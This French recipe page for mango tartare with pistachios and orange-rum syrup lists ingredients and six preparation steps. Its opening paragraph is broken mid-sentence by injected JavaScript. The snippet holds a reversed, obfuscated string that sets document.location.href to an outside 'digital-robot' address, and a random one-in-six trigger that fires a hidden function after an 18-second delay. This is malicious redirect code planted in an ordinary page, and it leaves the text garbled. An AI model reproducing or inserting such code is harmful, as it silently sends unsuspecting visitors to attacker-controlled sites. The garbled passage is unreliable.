Tartare de mangue, pistaches et sirop de rhum orangé

2021-05-03

Pelez et coupez en petits dés la mangue. Préparez le sirop en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les ingrédients sauf les pistaches.

Ingrédients

  • Pour 2 personnes
  • 1 mangue bien mûre
  • 4 cuillères à soupe de jus d'orange 1
  • cuillère à soupe de rhum
  • 1 cuillère à café de fleur d'oranger
  • 2 cuillères à soupe de sucre en poudre
  • 2 pincées de vanille en poudre
  • 2 cuillères à soupe de pistaches décortiquées non salées

Préparation de la recette

Etape 1

Pelez et coupez en petits dés la mangue.

Etape 2

Préparez le sirop en mélangeant tous les ingrédients sauf les pistaches.

Etape 3

Portez à ébullition et laissez refroidir.

Etape 4

Répartissez les dés de mangue dans des verrines, ajoutez les pistaches.

Etape 5

Arrosez de sirop et laissez refroidir au réfrigérateur pendant 2 heures.

Etape 6

Et dégustez

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